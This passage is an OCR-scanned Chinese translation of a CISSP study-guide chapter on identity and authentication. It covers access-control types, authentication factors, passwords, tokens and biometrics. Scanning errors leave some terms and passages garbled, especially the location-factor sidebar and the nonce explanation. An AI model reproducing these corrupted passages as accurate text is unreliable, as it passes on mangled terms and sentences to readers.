B. l 身份管理实施(例如， SSO、 LDAP)
B.2 单/多 因 素认证(例如 ， 因素、 强度、 错误、 生物特征)
B.3 可问责性
B.4 会话管理(例如 ， 超时、 屏保)
B.5 身份的注册与证明
B.6 联合身份管理(例如， SAML)
B.7 证书管理系统
• c. 身 份整合服务(例如 ， 云身份)
• D. 第二方身份整合服务(例如 ， 内部部署)
• G. 管理身份与访问 开通生命周期(例如 ， 开通、 审 查)
身份与访问管理域关注的是授予和撤消访问系统数据或执行系统操作的特权问题。 主焦点是识
别 、 认证、 授权和可问贵'性。 本章和第 14 章 "控制和监控访问" 将讨论身份与访问管理域范围 内 的
所有 目 标。 一定要阅读和学习 这两章 的内容， 以确保了解与该域相关的所有必要知识。
1 3.1 控制对资产的访问
控制对资源的访问是安全性的一个中心话题， 并且你将发现许多不同的安全控制会结合在一起
CISSP 官方学习指南(第 7 版)
来提供访 问 控制 。 资产可 以包括信息、 系统、 设备、 设施和人员 。
信息 组织的信息包括与其相关的所有数据。 这些数据可能存储在服务器、 电脑和其他小型设
备的简单文件夹中， 也可能存储在服务器群组的 巨大数据库中 。 访问控制试图阻止对这些信息的未
授权访问。
系统 组织的系统包括提供一种或多种服务的所有 IT 系统。 比如， 一个用于存储用户 文件的简
单文件服务器就是一个系统。 再比如， 与数据库服务器协同工作来提供电子商务服务的 Web 服务器
也可 以称为系统。
设备 设备包括所有的计算系统， 包括服务器、 台式电脑、 便携式笔记本电脑、 平板电脑、 智
能手机和外部设备等， 比如打印机。 越来越多 的组织采用 自 备设备但YOD)， 允许员工将他们的个
人设备连接到组织的网络。 虽然这些设备是所有者的财产， 但存储在这些设备上的组织的数据仍然
属 于组织的资产。
设施 组织的设施包括组织拥有或租赁的所有有形场所。 可能是单独的一间房、 一栋建筑或几
栋建筑的 综合体。 物理安全控制有助于保护设施。
人员 为组织工作的人员也是组织的宝贵资产。 保护人员 的主要方法之一就是确保有足够的安
全措施 以 防止人员 受伤或死亡。
1 3. 1 .1 主体与客体的对比
390
访问控制所涉及的 内容不仅仅是控制哪些用户可以访问哪些文件或服务， 还涉及主体和客体之
间 的关系 。 从客体到主体的信息传输称作访问 ， 理解主体和客体的定义是非常重要的 。
主体 主体是活动的实体， 通过访问被动客体来获得客体的信息或数据。 主体可以是用户、 程
序 、 进程、 文件、 计算机或访 问 资源 的任何东西。 通过授权后 ， 主体就可 以修改客体。
客体 客体是提供信息给活动主体的被动实体。 客体可 以是文件、 数据库、 计算机、 程序、 进
程 、 打印机和存储介质等 。
提示 :
通常以用 户 一词代替主体， 以文件一词代替客体， 如此可简化关于访 问控制的主题。 例如， 在
主体访问客体时 ， 可以看作用 户 在访问文件。 然而， 清楚主体不只是用 户 以及客体不只是文件也很
重要。
你可能己经注意到了一些实例 ， 如程序和电脑， 它们既可当作主体， 也可当作客体 。 这是因为
主客体的角色可来回转变。 很多情况下， 当两个实体相互作用时， 它们会执行不同的功能。 它们有
时可能是在请求信息 ， 而有时是在提供信息。 主要 区别是， 主体通常是主动的实体， 从被动客体处
接收信息或数据 。 客体通常是被动的实体， 用 于提供或寄存信息或数据 。
比如， 向用户提供动态 Web 页面的常见 Web 应用程序。 用户通过访问 Web 应用程序检索网页，
因此应用程序启动时是客体 。 随后当 Web 应用程序访问用户 电脑以检索 cookie 以及基于检索到 的
cookie 访问数据库， 从而进一步检索用户信息时， 又转换为主体角色。 最后， 当 Web 应用程序把动
态 Web 页面发送给用户时， 又转变为客体角色 。
第 1 3 章 管理身份与认证
1 3. 1 .2 访问控制的类型
一般来说， 访问控制是与所有控制访问资源相关的硬件、 软件或管理类策略或程序 ， 目 标是 向
授权主体提供访 问 井阻止任何未经授权的蓄意访问 。 访问控制 的总体步骤如下:
(1) 识别和认证试 图访问资源的用户或其他主体。
(2) 确 定访 问是否获得授权。
(3) 基于主体身份允许或限制访 问 。
(4) 监测和 记录访 问 尝试 。
这些步骤包含很多控制。 主要 的三种控制类型是预防、 检测和纠正 。 无论何时， 都可以阻止任
何类型的安全问题或事件 。 当然， 并不是总能阻止， 也并非总会发生意外事件。 一旦发生意外， 你
会希望尽快检测出该事件， 如果检测到 了 ， 你会希望做出修正 。
另 外 4 种访问控制 类型通常是制止 、 恢复、 指 引 和补偿访 问控制 。
读到下文所列控制时， 你会注意到有些举例所列控制不止出现在一种访问控制类型中 。 比如，
围绕建筑四周的防护栏(或以周长进行定义的设备)可以成为预防性控制， 因为是从本身物理结构上
阻止进入建筑场地的可能。 然而， 这也是一种制止性控制， 因 为对那些企图进入场地的人也起到了
制止作用 。
预防性访问控制 预防性访问控制试图阻碍或阻止有害的或未授权活动的发生。 预防性访问控
制 的示例包括围墙、 锁 、 生物测定学、 陷阱、 灯照、 警报系统、 职责分离、 岗位轮换、 数据分类、
渗透测试、 访问控制方法、 加密、 审计、 使用安全摄像头或闭路电视(ccrV )、 智能卡、 回 叫程序、
安全策略、 安 全意识培训11 、 反病毒软件、 防火墙和入侵防御系统。
检测'性访问控制 检测性访问控制试图发现或检测有害的或未授权的活动 。 通常， 检测性控制
并不实时进行， 而是在活动出现后运作。 检测性访问控制的示例包括保安 、 移动探测仪、 记录和检
查安全摄像头或闭路电视(CCTV)捕获的事件、 岗位轮换策略、 强制休假策略、 审计跟踪、 蜜罐、 入
侵检测系统、 违规报告、 对用户 的 监管和检查以及事故调查。
纠正性访问控制 纠 正性访问控制是为 了在发生有害的或未授权的操作后， 将系统还原至正常
的状态。 纠 正'性访问控制试图纠正发生安全事件造成的任何问题。 纠 正性访问控制通常较为简单，
例如终止恶意软件活动或重启系统。 纠正'性访问控制的示例包括移除和隔离病毒的反病毒解决方案、
确保丢失数据被恢复的备份和存储计划 ， 以及 能修改环境 以阻止攻击过程的入侵检测系统。
注意 :
第 1 6 幸 "管理安全运营" 将史深入地覆盖入侵检测 系 统和入侵防种系统。
威慑性访问控制 部署威慑性访问控制是为了试图吓阻违反安全策略的活动。 威慑和预防性访
问控制比较类似， 但是威慑性访问控制经常依赖人员去决定是否采取有害的行动。 相反， 预防性访
问控制实际阻止了有害活动。 -些示例包括策略、 安全意识培训1 1 、 锁、 围墙、 安全徽章 、 保安、 陷
阱和安全摄像头 。
恢复性访问控制 恢复性访问控制是为了在出现违反安全策略的情况后修复或还原资源、 功能
与性能。 与纠正性访问控制相比， 恢复性访问控制响应访问违规的性能更高级、 更复杂。 恢复性访
问控制的示例包括备份和还原、 容错驱动系统、 系统镜像、 服务器群集、 反病毒软件以及数据库或
虚拟机影像。
391
CISSP 官方学 习指南(第 7 版)
指令性访问控制 指令性访问控制是为了 指示、 限制或控制主体的活动， 从而强制或鼓励主体
遵从安全策略。 指令'性访问控制的示例包括安全策略需求或标准、 张贴通告、 疏散路线 出 口 标志、
监控、 监督和规程 。
补偿性访问控制 当主控制不能用时， 或者当需要对主控制增加有效性时， 补偿性访问控制提
供了另一种选择。 举个例子， 组织的安全策略可能规定全体员工需要使用智能卡， 但新员工需要很
氏的时间才能拿到智能卡 。 因此， 组织用硬令牌作为补偿性访问控制来为员工解决这个问题。 这些
令牌提供了 比用户名和密码更强的认证功能 。
根据实现方式， 访问控制还可以进一步分类。 访问 控制能够分为行政管理性访问控制、 逻辑/
技术性访 问 控制 以及物理性访问控制 。 前面提到的任何访 问控制都能归 入这些实现的类型中 。
行政管理性访问控制 行政管理性访问控制是依照组织的安全策略和其他规则或需求， 而定义
的策略与过程。 它们有时被称为管理控制。 这些控制主要关注两个方面: 人员与业务实践。 行政管
理性访问控制的示例包括策略、 过程、 雇用准则 、 背景调查、 数据分类、 安全意识和培训1[、 报告与
回顾、 人员控制 以及测试。
逻辑/技术性访问控制 逻辑性访问控制(也称为技术性访问控制)作为硬件或软件机制用于提供
对这些资源和系统的保护。 顾名思义， 它们使用技术。 逻辑或技术性访问控制的示例包括认证方式(例
如 ， 密码、 智能卡、 生物测定学)、 加密、 受限接口、 访 问控制列表、 协 议、 防火墙、 路由器、 入侵
检测系 统 以及阀值级别。
物理性访问控制 物理性访问控制是能物理触摸到的东西。 它们包括部署以预防、 监控或检测
与设施内的系统或区域直接接触的物理机制。 物理性访问控制的示例包括保安、 围墙、 移动探测仪、
闭锁的 门 、 密封窗、 灯照、 线缆保护、 笔记本电脑锁、 徽章、 磁条卡、 看门狗、 摄像头、 陷阱以及
报警器。
提示 :
在准备 CISSP 考试时， 需要能够识别所有类型 的控制。 例如， 应该认识到防火墙是一种预防性
控制 ， 因 为 它可以通过阻断通信来防止被攻击; 而入侵检测 系统(IDS)是一种检测性控制， 因为它可
以检测到 正在发生的 攻击或 已 经发生 的 攻击 。 你也应该能够识别 所有的逻辑/技术性访问控制 。
1 3. 1 .3 CIA 三要素
组织施行访问 控制机制的一个主要原因就是预防损失。 IT 损失主要有三种: 机密性损失、 可用
性损失 以及完整性损失。 预防这些损失的发生对 π 安全性而言是不可或缺的， 它们经常被称为 CIA
三要素(有时也被称为 AIC 三元素或安全三元素)。
机密性 访问控制能帮助确保只有被授权的主体可以访问客体。 当未被授权的实体成功访问 了
系统或数据时， 就导致了 机密性损失。
392
完整性 完整性确保数据或系统配置在未经授权的情况下不会被修改， 或者如果发生了未经授
权的更改， 安全控制能够检测出发生的变化。 如果客体发生了未被授权或不希望发生的改变， 就导
致 了完整性损失。
可用性 给予主体对客体的授权请求必须在合理的时间范围内。 换句话说， 系统和数据应在用
户和其他主体需要时能为它们所用 。 如果系统不能进行操作或无法访 问数据， 就导致了可用性损失。
第 1 3 章 管理身份与认证
1 3.2 比较身份标识与 认证
身份标识是主体声称或自 称某个身份的过程。 主体必须向系统提供身份标识， 才能够启动身份
认证、 授权和可问责过程。 提供的身份标识可以是输入用户名、 刷卡、 出示令牌设备、 说一段话，
也可以是将脸、 手掌或手指靠近照相机或扫描设备。 认证的一条核心原则就是所有的主体必须有唯
一的身份 。
通过与有效身份数据库中 的一个或多个因素进行比对， 身份认证能够认证主体的身份， 如用户
账户 。 用 于核实身份的身份认证信息属于私人信息 ， 需要保护。 例如， 密码很少以 明文存储在数据
库中。 相反， 身份认证系统把密码以散列形式存储在认证数据库内 。 主体和系统对身份认证信息的
保密能力直接反映了 系统的安全级别。
身份标识和认证总是被放在一起成为单一的双步过程。 第一步是提供身份t而只， 第二步是提供
身份认证因素。 如果缺少这两步 ， 主体就不能获得访 问系统的能力 。
每种认证技术或因子都有各自 的优缺点 。 因此， 在系统使用 环境中进行机制评估十分重要。 例
如 ， 存储绝密资料的设施需要非常强大的认证机制。 相比之下 ， 课堂环境的身份认证设施要明显弱
一 占
提示 :
身份识别和认证可以 简化为只要用户名和密码。 用户凭借 自 己的用 户名可以进行识别 ， 凭借密
码进行认证(或证明 其身份)。 当然， 还有很多 识别认证方法， 但这种简 化形 式相对而言更加清晰。
1 3.2.1 身份的注册和证明
用户首次获得身份的过程就是注册过程。 组织在招聘过程中 ， 新员 工要提供适当文件以证明他
们 的身份。 然后， 人力资源部门 的人事专员就开始为这些新员 工创建他们 的用 户 ID。
由于安全身份认证方法的不同 ， 注册过程也会随之更为复杂 。 例如， 如果组织使用指纹生物认
证法进行认证， 注册时也就需要捕捉用户 指纹 。
身份证明因用户交互网站的不同而不同， 比如银行网站。 当用户首次试图创建账户时， 银行需
要对用户的身份进行额外认证。 通常是让用户提供双方都可知的信息(如账号)以及个人信息。日用户
的 身份证号或社会安全号) 。
在首次注册时， 银行还会要求用户 提供其他信息 ， 如用户喜欢的颜色、 他们亲属的 中间名或第
一辆车的型号。 之后， 如果用户需要更改密码或转账， 银行可 以询 问用户这些 问题作为证明用户 身
份 的方法。
1 3.2.2 授权与可问素'性
访问控制系统的两个额外安全元素是授权和可问责性 。
授权 依据主体的证明身份授予其客体访问权限。 例如， 管理员基于用户 的证明身份授予用户
访 问文件的权限。
可问责性 在执行审计时用户和其他主体要对自 己的行为负责。 审计负责追踪主体并且记录他
们对主体的访问 ， 需要在单个或多个审计 日 志中创建审计跟踪。 例如， 当用户 阅读、 修改或删除文
393
394
CISSP 官方学 习指南(第 7 版)
件时审计会进行记录 。 审计具有可问 责性 。
有效的访问控制系统除了满足授权和可 问责'性外， 还需要强大的身份识别和认证机制 。 主体有
独特的身份并能通过认证证明 自 己的身份。 管理员基于主体的身份给予他们访问的权限。 基于认证
后的身份进行用户行为的记录具有可问 责性。
相 比之下， 如果用户登录不需要凭据， 那么所有用户都是匿名用户。 这种情况不可能对特定用
户 进行授权限制 。 日 志仍然可 以记录事件， 但是无法识别 是哪些用户做了何种操作 。
1 . 授权
授权就是指出谁获得信任以执行某具体操作 。 如果某个行为获得许可 ， 主体就获得了授权; 如
果未获得许可， 就是未被授权。 这里有一个简单的例子: 如果用户试图打开一个文件， 授权机制会
进行检查 以确保该用户至少有读取该文件的权限。
意识到下面这一点很重要: 如果用户或其他实体可以在某系统成功认证， 不能仅仅因为他们被
成功认证就表示他们有权访问某个或所有东西。 相反， 主体访问特定客体的权限要基于他们被认证
的身份。 授权过程确保 了执行所请求的活动或客体访问 是可能的， 但要基于该主体拥有的权限。
身份识别和认证在访问控制方面 " 要么全有 ， 要么全无"， 而不管用户 的认证信息是否被承认。
相 比之下， 授权却各不相同 。 例如， 用户可以读取文件但不能进行删除， 或是可以打印文档但不能
改变打印队列。
2. 可问责性
审计、 记录和监控都具有可问责性， 以此确保主体对自 己的行为要担负责任。 审计是通过日 志
对主体行为进行问 责和记录的过程。 日 志通常记录的是谁采取了 行动、 行动发生的时间和地点， 以
及发生了 什么样的行动。 一个或多个日 志创建了 审计跟踪表， 研究人员可 以用此表重塑事件以及确
认安全事件。 当调查者审查审计跟踪的 内 容时， 他们可以提供证据以确认人们对 自 我行为应担负的
责任。
对可问贵'性强调的虽少， 但却很重要。 可问责性必须依靠有效的识别和认证， 但不需要有效的
授权。 换句话说， 在识别和认证用户 身份后， 可问责性机制(如审计 日 志)就可以跟踪用户 的活动，
即 使他们试图访问并没有获得授权的资源。
1 3.2.3 认证因素
认证的三种基本方法也被称为类型或因素。 它们是:
类型 1 类型 l 身份认证因素是 "你知道什么 "。 这些内容示例包括密码、 个人标识码σ时)或
密码短语。
类型 2 类型 2 身份认证因素是 "你拥有什么 "。 用 户拥有能够帮助他们提供身份认证的物理设
备 ， 示例包括智能卡、 硬令牌、 记忆卡和 USB 驱动器。
注意 :
智能卡和记忆卡之间 的主要差异是: 智能卡具有处理数据的能力 ， 而记忆卡只 用 于存储信息。
例如， 智能卡 包括微处理器， 还可以用 证书进行认证、 对数据进行加密 、 进行电子邮件的数字签名
等 。 记忆卡仅存有用 户 认证信息 。
第 1 3 章 管理身份与认证
类型 3 类型 3 身份认证因素是 " 你是什么或者你做什么 "。 这里指的是某个身体部分或人的生
物行为特征。 " 你是什么 " 的示例包括指纹、 语音波纹、 视网膜样本、 虹膜样本、 脸部形状、 掌纹
和手型等。 " 你做什么 " 的示例包括签名和击键力度， 也称为生物行为特征。
在正确实施了这些类型的控制后， 访问控制也逐渐增强， 其中类型 l 最弱 ， 类型 3 最强。 换句
话说， 密码(类型 1 )是最弱的 ， 指纹(类型 3)要比密码强一些。 然而， 攻击者仍然可以绕过类型 3 的
身份认证因素。 例如， 攻击者可 以用 熊软糖制作指纹以欺骗指纹阅读器。
你的位置是什么
除了 上述三种常见的 身4伽如人证因素( 叮尔协失口 i道草什么�"，、
个值得注意的因素是 "叮4你t的住直是什么"。 通过识别主体登入的计算非彬M冬端、 进行连接操作的 电话号
码(通过呼叫者的 D 来标识)或国 家(通过 IP 地址来标识)， 确 定主体的物理位直。 "你的位直是什么"
访问拉制 强制 主体存在于某个特定的位直。 例如， 考虑用户从他们的 家里拨入远程访问时， 呼叫者
ID 和回拔技术用 于认证用 户 是否 实 际在家里拔入。
这个因素不依靠它 的拥有者， 因 为一个专注的攻击者可以欺骗任何类型 的地址信息。 因 此， 只
有 和其他因 素联合使用 才会有效。
1 3.2.4 密码
最常见的身份认证技术是使用类型 l 认证方式( " 你知道什么 " )的密码(用户 输入的一串字符)。
密码是静态的 。 静态密码在一段时间(例如， 30 天川呆持不变， 因此静态密码是最弱的认证方式。 密
码是较差安全机制 的 原因有很多 ， 其中 包括 :
• 用 户 常常选择他们很容易记忆的密码， 因 此这些密码易 于猜测或破解 。
• 随机生成的密码很难记忆， 因此很多用户 都会将它们写下来。
• 密码很容易 共享和遗忘。
• 窃取密码的手段有很多 ， 包括观察、 监昕网络和 盗取安全数据库。
• 密码的传递常常通过明文或使用易于破解的协议进行。 攻击者用 网络监昕捕捉这些密码。
• 密码数据库常常存储在可访 问 的联机公共位置。
• 通过穷举攻击可 以快速破解短密码。
密码加密
密码很少 以明文存储。 相反， 系 统会使用散列 算法(比如 PBKDF2(Password-Based Key Derivation
Function 2))创建密码散列 。 散列是一个数值， 如果密码相 同 ， 该算法总是会创建出相同 的数值。 当
用 户 输入密码进行身份认证时， 系统会对密码进行散列操作并将这些信息与存储的散列 密码相比较。
如果它们是一样的 ， 系 统就成功认证了用户 身份。
1 . 创建强密码
由用户创建的强密码是最有效的。 强密码十分长， 会用到多个字符类型 ， 如大写字母、 小写字
母、 数字和特殊字符。 组织在总的安全策略中通常会包括书面密码策略。 IT 安全专家利用技术控制
执行这些策略， 比如， 技术密码策略能执行对密码的限制要求。 下面的列表包含一些常见的密码策
略设置:
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CISSP 官方学 习指南(第 7 版)
最长使用期 这个设置需要用户 定期更改密码 ， 如每 45 天更改一次。
密码复杂性 密码复杂性是指密码包含多少字符类型 。 使用大写字母、 小写字母、 符号和数字
的 8 字符密码远比只使用 数字 的 8 字符密码安全。
密码长度 密码长度是密码的字符数量。 密码越短， 越容易被破解 。 举例来说， 密码破解者可
以用不到一秒钟的时间破解一个复杂的 5 字符密码， 但破解一个复杂的 1 2 字符密码几乎不可能。 许
多组织要求特权账户 的密码至少达到 1 5 个字符长。 这种要求克服了在一些 Windows 系统上存储密
码 的弱点。
密码历史功能 许多用户有交替使用两个密码的习惯。 密码历史功能可以记住前一个密码的特
定值， 如此可防止用户 使用之前用过的密码。 这一功能通常与最短密码使用期结合使用 ， 能够防止
用 户 不 断修改密码， 直到设置成原来用过的一个密码。 最短密码使用期通常设置为一天 。
用户常常不明 白对强密码的需要。 即使他们这样做， 也往往不知道创造他们可以很容易记住强
密码。 下面的建议可 以帮助他们创 建强密码:
• 不要用名字的任何部分、 登录名 、 电子邮件地址、 员 工号码、 社会保险号码、 电话号码、
分机号码或其他标识身份的名字或代码的任何部分。
• 不要使用社交网络的个人资料信息 ， 如 家庭成员 的名字、 宠物的名字或出生 日期。
• 不要使用字典中 的单词(包括国 外字典的单词)、 但语或行业缩略词 。
• 应使用非标准的大写和拼写方法。
• 应利用特殊字符和数字来代替字母 。
在某些环境中 ， 系统 自 动为用户账户创建了初始密码。 产生的密码经常是组合密码， 其中包括
两个或更多个不相关的数字或符号连接在一起的形式。 计算机容易生成组合密码， 但它们不应该被
长期使用 ， 因 为它们很容易受到密码猜测攻击。
2. 密码短语
比基本密码更有效的密码机制是密码短语。 密码短语类似于密码宇符的字符串 ， 但对于用户具
有独特的意义。 为 了简化记忆， 密码短语往往是修改过的 自然语言语句。 例如， "1 passed 也e CISSP
exam" 会被转换为这样的密码短语 " 1P@$$edTheCISSPEx@m飞 使用密码短语有不少优点。 使用
穷举攻击工具很难破解密码短语， 而且密码短语鼓励使用含大量特征的长的字符串 ， 但仍然很容易
记住。
3. 认知密码
认知密码是另一种密码机制 。 认知密码通常是一系列问题， 这些问题应该是只有主体才知道的
事实或预定义的结果。 认证系统通常在账户初始注册过程中收集这些问题的答案， 但它们可以被收
集或更改。 例如 ， 主体可能会被询 问如下 3至5个 问题:
• 你的生 日 是哪一天?
• 你母亲的 名字是什么 ?
• 你 的第一个部 门 领导是谁?
• 你 的第一个宠物叫什么名字?
• 你喜欢的运动是什么 ?
后来， 系统能够使用 问题进行身份认证。 如果用户正确地回答了所有问题， 系统完成对用户 的
身份认证。 最有效的密码认知系统能收集数个问题的答案， 然后在每次使用时会列出不同 问题的组
第 1 3 章 管理身份与认证
合 。 认知密码经常与 自助密码重置系统或辅助密码重置系统协同使用 。 例如， 如果用户忘记原来的
密码， 他们可以寻求帮助。 然后密码管理系统会要求用户回答一个或多个认知密码问题， 这些问题
一般只有用户知道 。
注意 :
与认知密码相关的缺陷之一是， 信息是通过王联网传送的。 打比方说， 攻击者如果能够攻破萨
才主 · 佩林(Sarah Palin， 2008 年副总统候选人)的个人雅虎电子邮件账户 ， 再通过λ人才土文媒体页 面得知
的 关于 萨拉 · 佩林的个人信息， 就能够回答雅虎找回程序显示的问题。 最好的认知密码系统九许用
户创建自 己的问题和答案 ， 这就给攻击者增加 了 很多 难度。
1 3.2.5 智 能卡和令牌
智能卡和硬令牌， 或者你持有的一些东西都属于身份认证类型 2。 这一类型通常会和另 一种认
证 因素结合使用 ， 很少 单独使用 ， 从而能够提供多因素的 身份认证。
1 . 智 能卡
智能卡是信用卡大小的 ID 或徽章， 中 间嵌入了集成电路芯片。 智能卡包含用于识别和/或认证
的授权用户信息 。 最新的智能卡包含一个微处理器和一个或多个证书。 证书用于非对称加密， 比如
加密数据或数字签名 的 电子邮件等(关于非对称加密的内容在第 7 章 " PKl 和密码学应用 " 中有详细
介绍)。 智 能卡 能够防止篡改， 为用户 提供 了一种携带和使用 复杂加密密钥的简单方法。
用户在进行身份认证时将卡插入智能卡阅读器。 通常要求用户输入与智能卡相匹配的个人识别
码或密码 ， 作为身份认证的第二因素。
注意 :
注意， 智能卡既可以进行身份识别 ， 也可以进行身份认证。 然而， 因 为用 户可以共享或交换智
能卡， 所以这不是有效的识别方法。 实行智能卡时大多 会要求用 户 另 外设直一个身千妇人证因素 ， 如
PIN 或一套用 户 名 和密码。
美国政府内部人员使用通用访问卡(CAC)或个人身份认证卡σIV)o CAC 和 PIV 卡是智能卡， 里
面包含了所有者的照片和其他识别信息。 用户四处走动时需要像戴徽章一样带着它们， 登录时要把
它们插入 电脑的读卡器。
2. 令牌
令牌或硬令牌是一种密码生成设备 ， 用户可以随身携带。 现在， 常用令牌都包含一个显示器，
能够显示 6到8位号码。 身份认证服务器存储着令牌的详细内容， 所以在任何时候， 服务器都可以
知道用户令牌上显示的号码。 令牌通常要与另一个身份认证机制结合使用 。 例如 ， 用户可以输入用
户 名和密码(你知道的身份认证因素)， 然后输入令牌上显示的号码(你必须持有的身份认证因素)。 这
就是多因素的身份认证。
硬令牌使用的是一次性动态密码， 这 比静态密码安全得多 。 令牌的类型有两种: 同步动态密码
令牌和异步动态密码令牌。
同步动态密码令牌 创建同步动态密码的硬令牌是基于时间的， 并与身份认证服务器保持同步。
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CISSP 官方学习指南(第 7 版)
它们定期生成一个新密码， 如每隔 60 秒。 这也就要求令牌和服务器必须有精确的时间。 常用方法是
要求用户 在 Web 页面上输入用户名、 静态密码和一次性动态密码 。
异步动态密码令牌 异步动态密码不使用时间。 相反， 该硬令牌依据算法和递增计数器生成密
码。 当使用递增计数器时， 它会创建一个一次性的动态密码， 这个密码会一直保持不变， 直到用于
身份认证。 有些令牌在用户输入 由令牌身份认证服务器提供的 PIN 码时， 会生成一次性密码。 例如，
用 户首先要向 W由 页面提交用户 名和密码， 在认证用户信息后， 认证系统将用令牌的标识符和递增
计数器创建一个数字并发送给用户。 这个数字在用户 每次认证时都会改变 ， 所 以被称为一次值
(non臼， 全称为 "number us时 0咀臼飞 意思是仅使用一次的数字)。 这个数只能在设备上生成属于用
户 的一次性正确密码。 用户把这串数字输入令牌中， 令牌就会生成一个密码。 然后， 用户把这个密
码输入网站方可完成身份认证过程。
硬令牌能提供强大的身份认证， 但也有缺点。 如果电池没电或设备中断了， 用户将无法访问。
一次性密码生成器
一次性密码是每次使用 时都会变化的动态密码。 很少有人能够记住过于频繁变化的 密码， 但一
次性密码能够有效地实现安全 目 的 。一次性密码生成器可以 为用户 创 建密码， 从而能够合理地部署
一次性密码。 使用 基于设备的 身4州人证系 统， 在不必对用 户 记忆力提出 过高要求的情况下， 特定环
境就能够受益于一次性密码的 强 大安全性。
1 3.2.6 生物识别
另 一种常用的身仇呗证和身份标识技术是使用生物识别。 生物识别因素属于类型 3 身份认证类
别 ， 即 " 你是什么 "。
生物识别因素可 以用于识别或认证技术， 或两者兼而有之。 使用生物因素而非用户名或账户 D
作为识别因素， 需要将提供的生物图案与数据库中存储登记和授权的图案进行一对 多 的搜索比对。
捕捉一个人的单人图像， 然后在数据库中搜索匹配， 就是典型的一对多搜索示例 。 作为识别技术，
生物识别因素可用于物理访问控制 。
使用生物识别因素作为身份认证技术， 需要与主体提供存储的身份图样进行一对一的生物识别
图样比对。 换句话说， 用户提供了一种身份， 在提供生物因素时就要核对该因素是否与之前提供的
身份相匹配。 作为身份认证技术， 生物识别 因 素可用 于逻辑访 问 控制 。
生物特征通常是指生理或行为上的特征。 生物生理识别方法包括指纹、 面部扫描、 视网膜扫描、
虹膜扫描、 手掌扫描(也称为手掌特征或手掌纹理)、 手形和语音模式。 生物行为识别方法包括动态
签名和击键模式(击键力学) 。 这些有时被称为 " 你做什么 " 的身份认证 。
指纹 指纹就是人们 4 指和大拇指上的可见图样。 每个人的指纹都是独一无二的 ， 其作为物理
安全身份识别 己有几十年。 指纹读取器现在通常装在笔记本电脑和 USB 闪存驱动器中 ， 用作身份识
别和认证方法。
脸部扫描 脸部扫描利用脸部的几何 图样来进行检测和识别 。 如果曾经看过电视节 目 Las
P告�gas， 你可能己经看到过他们如何利用一个人的 图片， 然后匹配数据库中 的面部特征。 这使他们能
够快速地识别一个人。 同样， 在访问安全空间， 例如安全库之前 ， 脸部扫描被用于识别和认证。
视网膜扫描 视网膜扫描关注的是眼睛后方血管的图案。 虽然视网膜扫描是最精确的生物识别
身份认证形式(能够区分同卵双胞胎)， 但却最不被人接受， 原因在于会泄露个人医疗状况， 如高血
第 1 3 章 管理身份与认证
压与娃振。 旧 的视网膜扫描方式会往用户的眼睛里吹气， 但新的往往用红外光代替。
虹膜扫描 作为第二精确的生物测定学身份认证形式， 虹膜扫描关注的是睦孔周 围 的有色区域。
不过， 虹膜扫描无法对同卵双胞胎进行区分。 虹膜扫描通常被认为比其他任何生物测定学因素具有
更长的身份认证期限。 这是因为在人的一生中， 虹膜相对保持不变(除非眼睛受损或患上眼疾)。 虹
膜扫描对比视网膜扫描更容易被大部分人接受， 但是通过用一些高品质的图像代替人的眼睛 ， 一些
扫 描器会被欺骗 。 此外 ， 精度会受到灯光变换的影响 。
手掌扫描 于掌扫描(有时被称为于掌特征或手掌纹理)通过扫描手掌进行识别。 用近红外光测
量手掌的静脉模式， 这些JE�指纹一样， 是独一无二的 。 不需要接触扫描仪， 只 需要把手掌放在扫描
仪的上方。 例如， 佛罗里达州的许多学校使用手掌扫描仪在午餐时间识别学生身份， 一些医院也用
手掌扫描仪来识别病人。 一些手掌扫描仪， 包括手指扫描和测量手背、 折痕和凹槽的布局 ， 进行整
只 手的扫描。
手形 手形技术用于识别于部的物理尺寸， 包括手掌和手指的宽度与长度。 它能捕获手的轮廓，
但不能捕捉指纹细节或静脉模式 。 很少单独使用于形， 因为很难靠这种方法识别 出 一个人。
心目U脉搏模式 该模式涉及测量用户 的脉搏与心跳次数， 从而确保是真实用户提供了生物识别
因素。 这种技术通常作为支持其他某种生物识别类型的辅助生物识别因素。 一些研究人员提出心跳
是独一无二的， 认为可以用心 电描记法进行身份认证。 然而， 这方面到现在为止还没有研发或全面
测试出一种可靠的方法。
声音模式识别 这种生物特征识别技术依靠一个人说话的声音特点， 称为声纹。 用 户说出一个
特定的短语， 然后认证系统对 此进行记录 。 在进行身份认证时 ， 他们要重复这一短语， 然后再与原
始语音 比较。 声音模式识别有时可作为额外的身份认证机制 ， 但很少单独使用 。
注意 :
语音识别常常与 声 音模式识别相混淆， 但它们是不 同 的。 语音识别软件， 如听写软件， 可以从
声 音中提胆且话信息。 换句话说， 声 音模式识别是在 区分声 音与声音之间 的不同 ， 以使用作识别或
认证， 而语音识别是在 区 分词语与人声之间 的区别。
签字力度 这种生物识别因素识别主体如何书写字符串 。 签字力度查看主体的书写动作以及书
写样本中 的特征。 签字力度因素的成功依赖于用笔的压力、 笔划方式、 笔划长度以及提笔时间点。
不过， 创建书写样本的速度通常不是重要的因素。
击键模式 击键模式(又称击键力度)通过分析抬指时间与按压时间 来确定主体使用键盘的方
式。 抬指时间指的是前后两次击键之间的时间， 而按压时间指的是按下一个键的时间。 使用击键模
式进行身份认证非常廉价、 毫无侵扰， 并且对于用户来说(包括使用 与注册)往往是透明的。 遗憾的
是， 使用击键模式来保证安全性这种方式容易产生重大偏差。 用户 行为的细小变化会显著地影响这
种生物测定学身份认证， 例如， 只 使用一只手击键、 手部冰冷、 站着而不是坐着、 更换键盘以及手
部或手指受伤等。
使用生物识别是希望为地球上的每一个人都提供唯一的身份标识。 遗憾的是， 目 前的生物测定
学技术 尚 未实现这一点 。 然而 ， 专注于认证物理特性的技术非常有用 。
1 . 生物识别因素的错误率
生物特征设备的最重要方面是它的准确性。 为使用生物特征识别， 生物识别设备必须能够检测
出信息的微小差异， 如某人视网膜中血管的变化或色调 ， 还有声音的音色。 因 为大多数人基本类似，
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生物识别方法通常导致负面的和不正确的认证。 生物识别设备通过检查他们生产的不同类型错误来
衡量执行情况 。
类型 1 错误 类型 l 错误发生在当一个正确的主体没有被认证时， 这也被称为错误的身份认证。
例如， 当 Dawn 用 她的指纹来认证 自 己时， 系统不正确地拒绝她。 对于正确用户 的类型 l 错误率被
称为错误拒绝率(False Rejection Rate， FRR)。
类型 2 错误 类型 2 错误发生在当无效认证发生时， 这也被称为假正确身份认证。 例如， 如果
黑客 Joe 没有账户 ， 但他用 自 己的指纹进行身份认证并且系统承认了他， 这就是假正确身份认证。
类型 2 错误率被称为错误接受率(False Acceptance Rate， FAR)c
